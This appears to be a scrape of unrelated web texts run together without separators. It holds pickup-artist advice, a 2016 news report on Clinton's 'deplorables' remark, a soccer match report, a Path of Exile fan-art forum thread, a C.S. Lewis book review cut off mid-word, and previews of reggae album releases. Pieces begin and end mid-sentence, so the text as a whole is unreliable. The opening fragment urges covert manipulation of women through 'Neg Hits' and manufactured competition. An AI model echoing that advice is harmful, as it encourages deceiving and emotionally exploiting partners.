values because you'speak her language' to your advantage. If you decide she is worth your long term effort, you maintain the advantage of her perception of you being 'the good catch' by keeping her in a, conscious or unconscious, state of competition with other potential women. This is the primary reason C&F and Neg Hits work like magic - they are intentionally ambiguous, covert forms of communication that a woman intrinsically understands. Men who'd never attempt to be C&F or dream of risking a Neg Hit (or a back handed compliment) who muster the courage to do so often express the shock and surprise at how well the techniques work. The reason? He's spoken her covert language for the first time in his life.Think of dealing with a woman you perceive as being manipulative as a sort of psychological Jiu Jitsu. Use your opponent's energy against her.Hillary Clinton expressed “regret” Saturday for saying half of Republican presidential rival Donald Trump’s supporters could be put into a "basket of deplorables."
Clinton, the Democratic presidential nominee, said in her apology that she was “grossly generalistic” in criticizing Trump supporters, using that same phrase Friday night when attacking them at a New York fundraiser.
“That's never a good idea,” she also said Saturday.
“Racist, sexist, homophobic, xenophobic, Islamaphobic, you name it,” Clinton said Friday. “There are people like that, and (Trump) has lifted them up.”
Clinton, in her apology, also said: “I regret saying ‘half’ -- that was wrong. But let's be clear, what's really ‘deplorable’ is that Donald Trump hired a major advocate for the so-called ‘alt-right’ movement to run his campaign and that David Duke and other white supremacists see him as a champion of their values.”
Her comments have dominated the weekend news cycle and are being compared to those 2012 GOP presidential nominee Mitt Romney made at a private fundraiser about “47 percent of people voting for (President Obama) no matter what.”
Romney in his comments, which were also made public in mid-September, characterized such voters as those “dependent upon government, who believe that they are victims, who believe the government has a responsibility to care for them.”
He later acknowledged to Fox News that the secretly-recorded comments “did real damage to my campaign."
Trump, whose campaign has suffered as a result of personal attacks on voters, and others roundly criticized Clinton's remarks.
“Wow, Hillary Clinton was SO INSULTING to my supporters, millions of amazing, hard-working people” Trump tweeted. “I think it will cost her at the Polls!”
Trump's criticism last month of a Muslim woman, the mother of a U.S. solider killed in Iraq, was followed by his sharp drop in the polls.
The woman, Ghazala Kahn, stood silently on the stage of the Democratic National Convention as husband Khizr Khan, the father of the fallen soldier, criticized Trump for his proposal to temporarily ban Muslims from entering the United States and questioned whether Trump had read the Constitution.
Many new polls now show the national race essentially tied, with Clinton and Trump also neck-and-neck in critical swing states.
Trump running-mate Indiana Gov. Mike Pence followed Trump on Saturday in denouncing Clinton's comments, saying their supporters are “Americans, and they deserve your respect.”
“The men and women who support Donald Trump's campaign are hard-working Americans, farmers, coal miners, teachers, veterans, members of our law enforcement community, members of every class of this country,” continued Pence, at the annual gathering of conservatives in Washington, D.C., known as the Value Voters Summit.
Republican National Committee Chairman Reince Priebus said: “Insulting everyday Americans to a group of wealthy donors shows whose priorities Clinton really has in mind.... Millions of Americans are supporting Donald Trump because they are sick of corrupt career politicians like Hillary Clinton.”
And Trump campaign manager Kellyanne Conway called for an apology.
Clinton was speaking at an LGBT fundraiser in New York City, where she also encouraged supporters to "stage an intervention" if they have friends considering voting for Trump.
"That may be one conversion therapy I'd endorse," said Clinton, referring to a type of counseling designed to urge gay, lesbian, bisexual or transgender children to change their sexual orientation. She later clarified that she wants to end the practice.
Singer Barbra Streisand, who performed at the fundraiser, altered the lyrics of the Stephen Sondheim song "Send in The Clowns" to mock Trump, referring to the real estate mogul as a "sad, vulgar clown."
On Saturday, Democratic vice-presidential nominee Virginia Gov. Tim Kaine tried to explain his running-mate's comments, while suggesting they won’t hurt the campaign’s effort to win over disaffected voters and that Clinton didn’t need to apologize.
I’m generalizing here, but a lot of (Trump’s) support is coming from this odd place, that he’s given a platform to the alt-right and white nationalists,’” Kaine told The Washington Post. “But then (Clinton) went on to say, ‘Look, there’s also a number of his supporters that have economic anxieties, and we’ve got to speak to those.’ ”
Clinton campaign spokesman Nick Merrill late Friday defended Clinton in tweets of his own, arguing that his candidate was referring to half of Trump’s event attendees.
"Obviously not everyone supporting Trump is part of the alt-right, but alt-right leaders are with Trump," he said. "And their supporters appear to make up half his crowd when you observe the tone of his events.”
The Associated Press contributed to this report.COMMERCE CITY, Colo. – After a disappointing 2-1 defeat to Honduras’ Real España on Wednesday night, the Colorado Rapids have all but conceded their participation in this year’s CONCACAF Champions League is over.
WATCH: FULL MATCH HIGHLIGHTS
At the bottom of Group B and with two tough games away against Isidro Metapán in El Salvador and at Santos Laguna in Mexico to come, progressing out of the group stages seems like an almost insurmountable task for the Rapids.
It’s no surprise, then, that Colorado have now fixed their gaze on domestic glory.
“With the facilities, the travel, those games [vs. Metapán and Santos] will be very tough,” said head coach Gary Smith. “Our energy now is in competing again for the MLS championship.”
Smith admitted he took a gamble fielding a number of younger and less-experienced players for Wednesday’s game, but defended his choices by emphasizing his concentration is in ensuring solid qualification for the MLS postseason.
WATCH: GARY SMITH POST-GAME PRESS CONFERENCE
“There were some big opportunities [in CCL play] for players in and around the squad and it may have been a bridge too far for some of them,” he said. “I did give more credence to this Saturday’s game [vs. San Jose] than this midweek game [vs. Real España], that is the reality.”
Whoever does play for the Rapids in the final games of the season, the same problems remain for the team that has now lost five straight in both MLS and CCL games. According to forward Andre Akpan, who scored Colorado’s goal against Real España, said a lack of finishing and giving up too many goals have led to losses and a dip in morale, definitely not the ideal combination for a team currently stuck in a rut.
Akpan expects all the first teamers to be back for the Rapids’ final four MLS matches. With the regulars surely to focus on the domestic campaign, chances for the reserves may still come in the club’s two remaining CCL games.
“The young guys will have to step up on the road,” he said. “It will be tough but we can’t completely give up.”
Midfielder Jamie Smith, who saw his first minutes since early July, said the team needs more self-belief to get through the final games of the season.
“I firmly believe we can make the playoffs,” Jamie Smith said. “If we apply ourselves the way we can, there will be nothing to prevent this team from making the playoffs.”
That may not be the case for the CCL. When asked if the campaign was effectively over, the midfielder seemed to agree.
“Who knows?” he said. “Possibly.”It really warms my heart that so many talented people care enough to put so much work into the art, especially given the short time frame allowed for the competition. We will add a bunch of these to a fan art gallery, with 25 people getting added and awarded beta keys for their efforts.
Given the mass amount, and quality of work I had to be quite harsh when choosing. For example I was forced to cull any entry that was hard to recognise as PoE specific art, even if the artwork itself was very good. So please don't feel bad if you aren't included in this list.
I tried to not only award experienced artists, but also entrants that managed to catch that special PoE mood.
I also want to add a big thanks to Mordliss for his hard work arranging the competition!
Wowie13th
http://i51.photobucket.com/albums/f372/burnslowly/betakey-1.jpg
http://i51.photobucket.com/albums/f372/burnslowly/wallpaper.jpg
arcdarkmage
http://imageshack.us/f/11/hp0002.jpg/
Semarogin
http://imageshack.us/photo/my-images/36/templar99.png/
spitty
http://i.imgur.com/KEvZG.jpg
Valkyrian
http://i.imgur.com/BtJHd.jpg
Fatigue
http://i1205.photobucket.com/albums/bb432/Fatigue83/PoE-ROCKS.jpg
Antisepthic
http://imageshack.us/photo/my-images/52/brutalmarauderhit.jpg/
Koblizek
http://imageshack.us/photo/my-images/200/skenovn0007t.jpg/
jerg
http://img88.imageshack.us/img88/461/pathofexilebrutalartwor.jpg
http://img689.imageshack.us/img689/9969/pathofexilesketchartwor.jpg
reiv
http://img690.imageshack.us/img690/1566/maraudersketchreiv.jpg
http://img844.imageshack.us/img844/2425/ranger2.jpg
nemo209
http://pathofexile.com/forum/view-thread/3210/page/22#p60474
http://i53.tinypic.com/1hbaq9.jpg
http://i53.tinypic.com/30xhb36.jpg
http://i54.tinypic.com/cl3r4.jpg
http://i55.tinypic.com/sdejau.jpg
MaxTheLimit
http://maxthelimit.info/files/brutus_battle.jpg
ManiaCCC
http://www.youtube.com/watch?v=n9SUUq-jOhQ
coldt3a
http://i.imgur.com/5FOxz.png
LilyVanilli
http://i5.photobucket.com/albums/y196/lilykatt/POEranger.jpg
aimlessgun
http://i4.photobucket.com/albums/y133/aimlessgun/PoE1.jpg
Vaati
http://www.scose.net/temp/poe.png
enragedpolygon
http://i1098.photobucket.com/albums/g364/enragedpolygon/PathofExileFanArtContest-PencilSubmission.jpg
Meritha
http://www.freewebs.com/celaisuu/Merveil.png
BkNem
http://eisenholdt.deviantart.com/gallery/#/d471060
Avunaos
http://i1212.photobucket.com/albums/cc458/avunaos/Other%20stuff/POE_LOGO_Avunaos-1.jpg
DerpStar
http://img43.imageshack.us/img43/2002/poedigital.png
Elhehir
http://i.imgur.com/HuLbL.jpg
lcbeers2
http://s304.photobucket.com/albums/nn167/lcbeers2/?action=view¤t=Templar.jpg
NeighbourJim
http://i.imgur.com/vgrkX.png
Whiteric
http://wallpaint.blogja.net/ranger.jpg Here at GGG we were completely overwhelmed with the amount and quality of all the fan art that was created in the fan art competition!It really warms my heart that so many talented people care enough to put so much work into the art, especially given the short time frame allowed for the competition. We will add a bunch of these to a fan art gallery, with 25 people getting added and awarded beta keys for their efforts.Given the mass amount, and quality of work I had to be quite harsh when choosing. For example I was forced to cull any entry that was hard to recognise as PoE specific art, even if the artwork itself was very good. So please don't feel bad if you aren't included in this list.I tried to not only award experienced artists, but also entrants that managed to catch that special PoE mood.I also want to add a big thanks to Mordliss for his hard work arranging the competition!Wowie13tharcdarkmageSemaroginspittyValkyrianFatigueAntisepthicKoblizekjergreivnemo209MaxTheLimitManiaCCCcoldt3aLilyVanilliaimlessgunVaatienragedpolygonMerithaBkNemAvunaosDerpStarElhehirlcbeers2NeighbourJimWhiteric Omnitect of Wraeclast Last edited by Erik on Aug 20, 2011, 6:12:59 AM Posted by Erik
on Grinding Gear Games on Quote this Post
well anyway wasted my time o using first time in my life paint for this content, but maybe i just need to flame till i got a key like someone i just see right now in the list here may thats the way..
Posted by Icoblablubb
on on Quote this Post
" Icoblablubb well anyway wasted my time o using first time in my life paint for this content, but maybe i just need to flame till i got a key like someone i just see right now in the list here may thats the way..
Wow some people just cant stop whining, can they? Wow some people just cant stop whining, can they? Posted by Drasmatical
on on Quote this Post
" Drasmatical " Icoblablubb well anyway wasted my time o using first time in my life paint for this content, but maybe i just need to flame till i got a key like someone i just see right now in the list here may thats the way..
Wow some people just cant stop whining, can they? Wow some people just cant stop whining, can they?
Forever Alone.
@icoblablubb
First, i doubt it was your first time.
Second, it is sad that you take art so lightly (haven't seen your picture).
Third, I wouldn't be affraid to keep drawing (Sounded like you would never EVAR draw again). Forever Alone.@icoblablubbFirst, i doubt it was your first time.Second, it is sad that you take art so lightly (haven't seen your picture).Third, I wouldn't be affraid to keep drawing (Sounded like you would never EVAR draw again). Last edited by niii on Aug 19, 2011, 9:22:32 AM Posted by niii
on on Quote this Post
" niii " Drasmatical " Icoblablubb well anyway wasted my time o using first time in my life paint for this content, but maybe i just need to flame till i got a key like someone i just see right now in the list here may thats the way..
Wow some people just cant stop whining, can they? Wow some people just cant stop whining, can they?
Forever Alone.
@icoblablubb
First, i doubt it was your first time.
Second, it is sad that you take art so lightly (haven't seen your picture).
Third, I wouldn't be affraid to keep drawing (Sounded like you would never EVAR draw again). Forever Alone.@icoblablubbFirst, i doubt it was your first time.Second, it is sad that you take art so lightly (haven't seen your picture).Third, I wouldn't be affraid to keep drawing (Sounded like you would never EVAR draw again).
ya it was my first time using paint.
well i never needet it i just give it a try for the art contest becouse i thought guys with no skills in it got a chance too but as we can see all of them got some minor skills in it or even more than minor..
well for u im just whining, but im just pissed that this contest was only for guys who knows how to usw paint ect or are good at pencil drawing, inly talk about thas this isnt fair
hope u know what i mean my english isnt that good one :/ ya it was my first time using paint.well i never needet it i just give it a try for the art contest becouse i thought guys with no skills in it got a chance too but as we can see all of them got some minor skills in it or even more than minor..well for u im just whining, but im just pissed that this contest was only for guys who knows how to usw paint ect or are good at pencil drawing, inly talk about thas this isnt fairhope u know what i mean my english isnt that good one :/
Posted by Icoblablubb
on on Quote this Post
Wow! I am honored.:) thank you for including me in your beta program and fan art gallery. Being a female and something of a minority in this field, I am glad I can serve as an example for other girls that they can achieve their goals if they put a little work into it. :) Posted by LilyVanilli
on on Quote this PostThe British literary scholar, Christian apologist, and children’s-book author C. S. Lewis is one of two figures—Churchill is the other—whose reputation in Britain is so different from their reputation in America that we might as well be talking about two (or is that four?) different men. A god to the right in America, Churchill is admired in England but hardly beatified—more often thought of as a willful man of sporadic accomplishment who was at last called upon to do the one thing in life that he was capable of doing supremely well. In America, Lewis is a figure who has been incised on stained glass—truly: there’s a stained-glass window with Lewis in it in a church in Monrovia, California—and remains, for the more intellectual and literate reaches of conservative religiosity, a saint revered and revealed, particularly in such books as “The Problem of Pain” and “The Screwtape Letters.” In England, he is commonly regarded as a slightly embarrassing polemicist, who made joke-vicar broadcasts on the BBC, but who also happened to write a few very good books about late-medieval poetry and inspire several good students. (A former Archbishop of Canterbury, no less, “couldn’t stand” Lewis, because of his bullying brand of religiosity, though John Paul II was said to be an admirer.) The British, of course, are capable of being embarrassed by anybody, and that they are embarrassed by Lewis does not prove that he is embarrassing. But the double vision of the man creates something of a transatlantic misunderstanding. If in England he is subject to condescension, his admirers here have made him hostage to a cult. “The Narnian” (HarperSanFrancisco; $25.95), a new life of Lewis by his disciple Alan Jacobs, is an instance of that sectarian enthusiasm. Lewis is defended, analyzed, protected, but always in the end vindicated, while his detractors are mocked at length: a kind of admiration not so different in its effects from derision. Praise a good writer too single-mindedly for too obviously ideological reasons for too long, and pretty soon you have him all to yourself. The same thing has happened to G. K. Chesterton: the enthusiasts are so busy chortling and snickering as their man throws another right hook at the rationalist that they don’t notice that the rationalist isn’t actually down on the canvas; he and his friends have long since left the building. In England, the more representative biography of Lewis is the acidic though generally admiring life that A. N. Wilson published some fifteen years ago. It gives Lewis his due without forcing stained-glass spectacles on the reader. (Wilson is quite clear, for instance, about Lewis’s weird and complicated sex life.) While William Nicholson’s “Shadowlands,” in all its play, movie, and television versions, shows the priggish Lewis finally humanized by sex with an American Jewish matron, it actually reflects the British, rather than the American, view: Lewis as a prig to be saved from priggishness, rather than as a saint who saved others from their sins. None of this would matter much if it weren’t for Narnia. The seven tales of the English children who cross over, through a wardrobe, into a land where animals speak and lions rule, which Lewis began in the late nineteen-f |
Mojo Morgan
MOJO Morgan, of Morgan Heritage will be releasing a solo album this spring. It’s titled Dark Side of the Roots and Mojo has been working with a ton of producers including Billy Szeflinski, DJ Icey & Marlon Deja. He’s been tracking inside such studios as Home Grown, The Kennel, Global Studios (Holland), House of Riddim (Austria), Lions Den & The Funk Factory. Look out for special guests courtesy of Stephen & Damian Marley, Beres Hammond, Lady Saw, Turkessa, Richie Campbell, Peeta Morgan & Nina Simone. There will be 10-13 total songs and as Mojo put it ”The album is guaranteed to stimulate the heart, mind, body and soul.”
The Black Seeds
NZ’s The Black Seeds are looking forward to releasing their new album Dust & Dirt this April. The album is expected to be 11-12 tracks and have been working with producer Mike Fabulous. Here’s additional info on the album that is straight from vocalist Barnaby Weir: ”Kia Ora all! The Black Seeds fifth studio album “Dust and Dirt” is almost ready for digestion and we are excited about it! We’ve been working on it part time for close to two years now, giving the new songs a long simmering and road-testing them around New Zealand, Australia and even New Caledonia. We feel it’s our best yet, a musical progression that sounds like a mixture of our two previous albums “Into The Dojo” and “Solid Ground,” with an added dose of freshness and some new killer rhythms. We recorded it at our own studio in Wellington, which gave us the freedom to really get the best out of ourselves over a longer time frame and test and trial the tones with our own Mike Fabulous at the controls. For one of the tracks “Pippy Pip” we actually invited our fans to sing along on the chorus.” – Barnaby Weir, The Black Seeds
Pepper
It’s been tough receiving info on Pepper’s next release, but when we contacted drummer Yesod Williams, he told us directly that ”Pepper is expected to release a new full length album in 2012, we’re currently at The Sound Factory in Hollywood, going old school recording straight to 2″ tape, trying to keep it as live as possible.” As far as release date, album title or guest appearances? Well all you Pepper fans will have to hold tight as we’ll have updates as soon as they’re made available to us, but look for a new album from Pepper this year!
The Supervillains
The Supervillains have a 6 track EP set for a Spring time release, titled Robots. The EP was produced by Brett Hestla at Hestla Productions and includes song titles such as ”Rapture”, “Hell”, “Limbo”, “Purgatory”, “Space”, and ”Heaven”. Here’s what Vocalist/Guitarist Scott “Skart” Suldo had to say about the new release:
”Dan and I joke about it being a mash-up of a creative writing assignment and an art project. Long-time fans of the band are going to be doing cartwheels. It’s super-fast right out of the gate, and the tempo is pretty brutal in general. It’s something that we have really wanted to get done right for about a decade. It’s a concept record, inspired by Dante’s “Divine Comedy”, jumps through about a dozen genres and even has some fun artsy Pink Floyd-ish stuff going on. It’s definitely something new for the fans to chew on while we are working on our next full-length record.” – Scott “Skart” Suldo
Micah Brown
Micah Brown, nominated by The Pier as 2011’s Break Out Artist of the Year is set to have a 13-15 track Spring release. It’s being produced by Lew Richards out of 17th Street Studios and features guest appearances by Matthew Luifau (Seedless), Sussie Luifau, Kat Nestel, & Juan Rios. Here’s how Micah described the new album to us:
”The new album is a great mix of Blues, Folk, Rock, and even some Reggae. Although we haven’t decided on a release date, we are all fairly confident that it will be ready to release for your listening pleasure, Spring 2012.” –Micah Brown
O-Shen
Oshen, who was featured on our Pacific Island Sampler, will be working on 3 simultaneous albums to be released in early 2012. One is a straight up reggae album, with Rumble Rock Recordz and Truckback Records(Jamaica). The second is more of a pop reggae project with producer Carlos Villalobos (who produced Oshen’s first album) in Chicago and the third expected release is a club/reggae type album with a DJ from PNG named AK47…. Each release is expected to be about 10 to 12 different original songs on each of them..There’s no album title or cover art just yet, but OShen informed us to expect some guest appearances by some Jamaican artists on the straight reggae album. No other info available but 3 releases in 365 days makes this a big year for OShen & his fans.
Josh Fischel & The Fiction
Josh Fischel has a new band and its called Josh Fischel & The Fiction and fans can expect a new album sometime this summer. The album will be titled ”Quixotic”, pronounced Quicks-Aw-Tic, which means foolishly impractical, especially in the pursuit of ideals: marked by rash, lofty, romantic ideas”. We were told to expect a lot of Rock & Soul as Josh Fischel told The Pier the title “Is kind of how I see my musical career and the idea of continuing to be a full time musician for all these years.” The album is expected to be 14 total songs with tracks such as ”Go Down, The Real Housewives of the Salton Sea”, “Dream No. 6”, “Wait 4 U”, “Two But There’s One”, “Jericho” and more.
It was recorded at Fork & Spoon Studios in Long Beach, CA and produced by Kris “Natureboy” Jackson & Josh Fischel. Josh went on to tell The Pier, “I’ve always been a storyteller and some of the subjects on this album will include reality shows, drug addiction, death, new love, war, religion, sub-conscious thought, family, heartbreak, and growing old. A lot of heavy subjects but, surprisingly, a lot of it sounds pretty hopeful. And you can dance your ass off to it!!” – Josh Fischel
The Holdup
The Holdup has a new 12 track album in the works titled Consequence set for a Spring release. It’s being produced by Mike Garmany & Clev Stiles out of Dub Rock Records. They recently released a single from the new album titled ”Slow Songs”.
Here’s what Clev Stiles told The Pier about the new release:
”We are experimenting with new sounds and production techniques to keep things fresh. Each Holdup album brings a new diverse style and with each album, new trends grow and develop. Although we are only in the beginning stages of writing and production, we are excited to see what direction we end up with.” – Clev Stiles, The Holdup.
3rd Alley
Sometime this LATE Spring, 3rd Alley will release their 7 track EP titled Smoke & Mirrors. The 7 songs will include such tracks as ”Strange Brew”, “My Girls Got a Rap Sheet”, “Sweeter Than Sugar”, “Smoke & Mirrors”, “King Jester”, “Dekkarize” and more. It was recorded out of Rise Above & 17th Street Studios and will feature Adrian Young (of No Doubt) on drums, Trey Pangborn & Evan Kilbourne. Todd Forman, formerly of Sublime With Rome, has been working with 3rd Alley frontman Zack Walters and told The Pier what fans can expect:
“We’ve got ourselves in a nice little rhythm producing music at the home studio with lots of cool collaborations — all done with a liberal attitude and in good fun. We think our music is unique to the ear because it ain’t rushed and voices aren’t hushed. Zack will never have lead vocalist syndrome so there ain’t no dictatorship going on. Also, everybody pitches in their soul and nobody gives a damn about the money…Probably because we realize there is none in the music biz or maybe we just love the process of creativity with our fellow comrades. Anyway, we hope this ethos translates to our fans through the music we are making. Thanks for listening and thanks to the Pier for giving us this killer forum!
– Todd Forman, 3rd Alley
Fear Nuttin Band
Fear Nuttin Band has a new album titled Vibes, Love, Revolution set to drop on April 3rd on BoomBlaze Records. It’ll include guest appearances by members of SOJA horn section who helped with songs ”Better Days”, “Troddin”, Herbalize The Nation”.. Other songs set to be on the album in a bonus edition is the Christafari Dub Remix of the song ”Rebel” and an acoustic rendering of ”Herbalize The Nation”. Look for other track titles such as ”Born to Battle”, “No Matter How Far”, “Better Days”, “Just Your Love”, “Love Is Alive” and more. The album has been produced by Christafari “BoomBlaze” Regan w/Jim Fogarty. Here’s what the Fear Nuttin Band disclosed to The Pier:
“Right now we are deep into working on the new record ‘Vibes, Love, Revolution’, which is one of the overall themes of the band and what we write songs about. It’s got a roots vibe, some dub feel, some acoustic work and FNB’s signature guitar riffage. Once again the biggest respect to the entire SOJA crew who’ve been there from the beginning with us. The chemistry and friendship amongst the two bands makes it easy for us to collaborate and focus on real music, for ourselves and all the Real Life Soldiers out there. BoomBlaze!”
Pacific Dub
Pacific Dub is shooting for a late Spring, early Summer release. It’ll be their 2nd full length album that’s expected to be between 12-15 total tracks. It’s being recorded at 17th Street Studios with producer Lew Richards. Fans can expect an upbeat, positive, summertime theme on this new record.
Bryce stopped by and told The Pier ”We are taking our time recording this album, and making sure we do it the right way and not rush it. Let me tell you, all the new songs sound amazing, and I promise this album will be our best to date. Thanks for all your continued love, and support. It means the world to me, and all of us with Pacific Dub
– Bryce, Pacific Dub
Echo Movement
Echo Movement has an album set to be released in September and according to the group, it’s geared towards space and human outreach. They’re working with NASA and a university lab in GA to bring something never before heard. It’s being produced at the groups home studio and is expected to be 8 new songs.
The group said in a statement about their new album that ”We’re honored to share our music and perspectives with people. Our focus is to bring happiness to the people who enable us to do what we love and we hope this album is a unique contribution to the scene.”
Stick Figure
Stick Figure is gearing up for his next album titled Burial Ground with hopes of a late winter, early spring release. The album will be 100% self produced, written & recorded. So far, Half Pint is expected to make an appearance on one of the 13-14 new tracks, that will also include a trippy dub instrumental.
Here’s what Scott Woodruff of Stick Figure told The Pier:
“This record has been a few years in the works now and though I probably could have released it awhile ago, I want to make sure it’s ready and it’s done before I officially release it. A few of the songs I started writing 7 or 8 years ago but never really did anything with them. This album has a similar sound to my last solo record, “Smoke Stack,” which is in my opinion, my best work to date. I think that this record will showcase a lot of new tricks that I have learned, especially in the dub area. Overall, I think the Stick Figure fans are going to really enjoy this one and I hope the wait will have been worth it.” – Scott Woodruff, Stick Figure
Fayuca
Fayuca has a Spring release in mind for their first album under their new label Fervor Records. It’ll be produced by Jim Wilcox of Authority Zero as well as their Label Jeff Freundlich & Dave Hilker. They’re expected to have Danny Torgerson of Captian Squeegee on horns, Percussions & Harmonies, while Dan Kelly of Fortunate Youth is expected to make an appearance as well. They’re in pre-production on 27 songs and will narrow their album down to the top 10-12 songs for the final release.
Fayuca went on to tell The Pier that “We have never been as inspired as we are now… Fervor Records and Jim Wilcox have done a great job motivating us and pushing our creativity to extents we never imagined. This record will definitely be a refreshing addition to the modern reggae/rock/latin music scene!”. Fervor Records joined in on the excitement adding “We’ve been following Fayuca’s growth and success for years. The band rocks. It feels like all their experiences have led up to this point in time and their forthcoming record. All of us at Fervor couldn’t be happier to be a part of Fayuca’s story.”
– Jeff Freundlich, Fervor Rec
Stranger
Stranger is writing/recording a new record to be released later this Summer. The new sound is expected to be heavily influenced by the music Stranger grew up listending to lending the songs a very soulful & heartfelt vibe. It’s being recorded at Stranger Studios in Chula Vista, CA. There is expected to be some heavy hitting guest appearances to be named later. They band is also re-recording some of the older material they released earlier on as a group. Their earlier album Life Lessons” is being revitalized with a new song/attitude and wll be suitably titled Lesson Learned.
Zen Robbi
Zen Robbi has released their new album on January 3rd titled Lovely In The Middle: An Acoustic Collection”. It was produced by Mic Dangerously at Hollywood Stock Studios as well as Fork & Spoon Studios in Long Beach, CA. It includes guest appearances by Micah Brown on Slide Guitar/Dobro, Josh Fischel on Back Vocals as well as Todd Forman (Sublime with Rome).
There are 10 total tracks and here’s what the group had to say about their new acoustic themed release: ”We went about things a bit differently this time around. We wanted to see how much noise we could make in our home studios with a few acoustic guitars and a 2 piece drum set. So, we left out the amps and pedals, and gathered a bunch of old school recording gear and microphones so we could bring you a classic sounding acoustic soul record, guaranteed to put a big smile across your face. Here comes the change up!”
– Zen Robbi
Read The Pier’s Official Album Review HERE
Dub Rockers Compilation Album
Dub Rockers is a compilation album full of collaborations. From producers down to the artists. There will be 9-10 songs and Dubshot Records was quoted as saying ”This is a one of a kind compilation that blends the best from Jamaican reggae with the best from international reggae”. Producers include Miguel Happoldt (Sublime), Yeti Beats, Dub Matrix, Mannix, Prince Polo & more. Songs include guest spots by Slightly Stoopid, Capleton & Inner Circle, I Wayne & Rebelution, Eeka Mouse & The Expendables, The Aggrolites & Etana, The RBC/Prince Polo feat Augustus Pablo & Tommy McCook along with John Browns Body & Morgan Heritage. Fans can expect a spring time release and the artwork was designed by Justin Kennedy Grant. Everyone loves collaborations and this is a whole compilation of them!
Knock-Out
Knock Out will be releasing a new EP this Spring to set up for a full length due out by the end of the year. There’s no EP title but the new songs are aimed towards the realities of life and overcoming the many obstacles of it. They’re recording out of Roshambo Studios in Irvine, CA working with producers Jim Perkins & Craigh Nepp (Save Ferris). The EP will have about 6 songs while the full length is expected to be about 12 tracks. Here’s what the fellas from Knock Out said about the new release:
”You can expect songs with a lot of heart and meaning in them that anyone can relate to at some point in their lives. As far as style mostly alot of sing along anthem type punk songs with a little bit of reggae for flavor.”
Ease Up
Ease Up has a 12-14 track studio album, yet to be titled, expected to be released this summer. They worked with producer Lew Richards over at 17th Street Studios in Costa Mesa, CA. This will be the groups first full length album and here’s what the Ease Up members had to say:
”We hope our fans are as excited as we are for our first full length album! The band has been putting a lot of work into the music and it is going to be great to finally get the music out to the listeners. We are in pre-production right now, and we are looking to start recording”
Clear Conscience
Clear Conscience, known for being heavy players in releasing albums full of collaborations, is set to release their next album in June, titled Native Jane. They plan on recording with Rick Vargas at TRI Studios (owned by Bob Weir/Grateful Dead) as well as with EN Young in San Diego. The album is expected to be 10-12 songs, but is only expected to have 1 guest appearance planned on the album with EN Young.
Here’s what Clear Conscience front man, Jeff McDermont told The Pier: “This album really goes back to our roots and if you vibed with our album “What’s Inside Counts” expect a vibe in that direction.”
Rootz Underground
Solomonic Sound & Rootz Underground have a new mix tape set to be released in early March titled Selectors Choice Vol. 4 (Gravity). It’s produced by Rob Paine out of Worship Records Studio in PA. Guest appearances include Capleton, Junior Vibes, Anthony Red Rose, Bounty Killa, Sizzla, Lexxus, Assassin, Busy Signal, Keida, Mr. Vegas, Pat Kelly & More. There’ll be some 52 tracks ranging from 90s dancehall, roots reggae, dubstep & hip hop all recorded in dub plate style specifically for the project and mixed into a DJ set but also given as single tracks.
Rootz Underground told The Pier ”We’re taking a journey with music from vintage all the way through to modern in a way that will make you shake your head at the originality and rock with the vibes.” – Rootz Underground
RAC
RAC is currently scratch tracking new songs for a full length album that they plan on dropping sometime this Fall or Winter. As they continue pre-production, they’re looking at all options for producers/studios, but plan on tracking 30 songs before narrowing it down to take into a studio. They are expected to have some guest appearances, and when the music is all recorded, they’ll have an official title before having their friend Baily Flynn go crazy for the cover art.
RAC told The Pier ”This album will have a good mix of Lost in Paradise and In-Hab-I-Tants with a more mature sound. All of us here are pretty pumped due to the fans reaction on all the new songs we have played. Expect a mix of reggae, punk, surf, and roots with a different twist this time around.” –RAC
Philie Ano
PhilieAno has a new 13 track album debuting January 10th. It has 13 tracks, and will be titled Philieano vs LD onthecut. It was produced by LD and features guest appearances from Opie Ortiz (LBDAS), Medusa, I-Man (Capitol Eye), Paulie Nugent & Scott Edge, LMNO and Mike Long (Capitol Eye) on Bass. Expect a hip hop jammer of an album with a healthy line up of Long Beach guest appearances. The artwork was also done by Opie Ortiz, brother to PhilieAno
Top Shelf
Top Shelf will be releasing a 5 song EP in late March or early April, titled “Top Shelf for President.” They’ll be working out of Trillium Studios in Sebastopol, CA & Russian River Records in Ukiah, CA. Guests include Steve Culuture & Jay from the band Paua.
Here’s more of what the group had to say in regards to their new EP:
”With our next project we are looking forward to bringing it back to our roots, while continuing to break boundaries within the Reggae Rock Scene, our tracks will be heavy bass driven rhythms with group vocal harmonies that will make you wanna put your windows down and your system up. Get ready!” – Top Shelf
Tommy Dubs
Tommy Dubs has a 10 song March release titled Piracy Meets Tommy Dubs: Kick Rocks. It was self produced at Tommy’s home studio and features vocals by Piracey and Aleko from Go Lem System. Here’s a breakdown of what you can expect from this album, straight from Tommy Dubs:
”The Piracy meets Tommy Dubs project is a mix of Dancehall, Hip Hop & Dub influenced urban sounds. Tight production keeps the bass bins boomin and Piracy brings her original flow creating a truly unique sound unlike anything being produced on the scene. Kick Rocks will be released as a mixtape for FREE download prior to the release of the full length album on iTunes in March.” – Tommy Dubs
Prince Polo
Producer Prince Polo has been working out of The Kennel Studio in Brooklyn, NY working with producer Clive Chin on his next album titled “Prince Polo Rub & Dub”. It’ll be a Spring time release and Polo advised that there would be vocal dub versions of each track. Some new vocalists will be featured as well as some classic artists. Expect about 18-20 songs with a dub version to accompany the lyric version of each track.
Josh Heinrichs & SkillinJah
Josh Heinrichs & SkillinJah each have an album set for 2012. Josh will release his 5th Full length solo album in April/May while SkillinJah has plans to release his 2nd album titled Reality on January 22nd. Both releases will be under GanJah Records. SkillinJah’s release will contain 10-13 tracks with a full live backing band vs his more acoustic friendly debut album Emergency Spliff.
Jet West
Jet West will be releasing their sophomore album sometime this Summer. It’ll be put out on the groups independent label, Hidden Reef Records. No other details were given as to which producer or studio they’ll be working out of or if there will be any guest appearances, but the overall theme of the release was described by the group as ”Warm Weather, Surfing & Chasing Girls” and the same could ring true for the cover art as well. Feel free to download FREE music from Jet West’s first album in our MP3 Massive section.
Rootdown & Paul Wright
Rootdown & Rootdown’s frontman Paul Wright will be releasing albums in 2012. Rootdown is aiming for a Fall release that’s expected to have more reggae & elements of Hip Hop/Rock with catchy hooks. More so then their Tidal Wave release. Paul Wright will be shooting to release an 8 track solo album this Summer with Grammy Award Winning Producer Chris Stevens (Carrie Underwood). Paul’s been working out of FabMUSIC in Nashville, TN as well as South Shore in Honolulu, HI. Paul told us the vibe for his solo record will be similar to an acoustic jam session at the beach; mellow and organic.
Jon Wayne & The Pain
